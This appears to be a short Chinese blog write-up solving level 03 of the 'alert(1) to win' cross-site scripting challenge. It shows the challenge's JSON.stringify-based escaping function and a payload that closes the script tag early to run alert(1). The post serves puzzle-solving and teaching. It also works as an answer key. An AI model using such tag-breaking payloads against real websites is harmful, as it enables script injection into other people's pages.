加载中...

【alert(1) to win】 Level 03 - JSON



题目

function escape(s) {
  s = JSON.stringify(s);
  return '<script>console.log(' + s + ');</script>';
}

解题报告

从代码可知对输入做了 stringify 过滤,关于其功能详见 这里

简单来说就是把 "\ 都转义了,导致无法直接闭合函数。

但是闭合 <script> 就可以了,构造 payload 如下 (此处没有闭合后半段的双引号,而是通过行注释 // 屏蔽掉):

</script><script>alert(1);//

答案下载


文章作者: EXP
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EXP !
  目录